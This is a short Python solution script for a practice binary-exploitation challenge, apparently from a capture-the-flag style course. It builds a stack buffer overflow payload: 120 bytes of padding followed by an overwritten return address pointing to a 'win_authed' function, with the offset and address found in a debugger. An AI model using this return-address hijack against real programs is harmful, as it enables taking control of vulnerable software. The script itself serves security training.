Binary Exploitation Tricky Control Hijack Hard

binary_exploitation_tricky_control_hijack_hard.py

##########################################################################
# 1. Unlike the easy version, it does not give you helpful debug output.
#    You will have to recover this information using a debugger.
# 2. The source code is not provided.
#    You will need to reverse-engineer the binary, but remember, 
#    the challenge is conceptually the same as the easy version, 
#    so it can be helpful to have the easy version's source code 
#    as a secondary reference during your reversing process!
# 2. Some randomization is different.
#    Buffers might have different lengths, offsets might vary, etc.
#    You will need to reverse engineer this information from the binary!
##########################################################################
import struct
import sys

offset_to_return = 120      # GDB offset
win_authed_addr = 0x401a95  # GDB address

payload = b"A" * offset_to_return
payload += struct.pack("<Q", win_authed_addr)

sys.stdout.buffer.write(payload)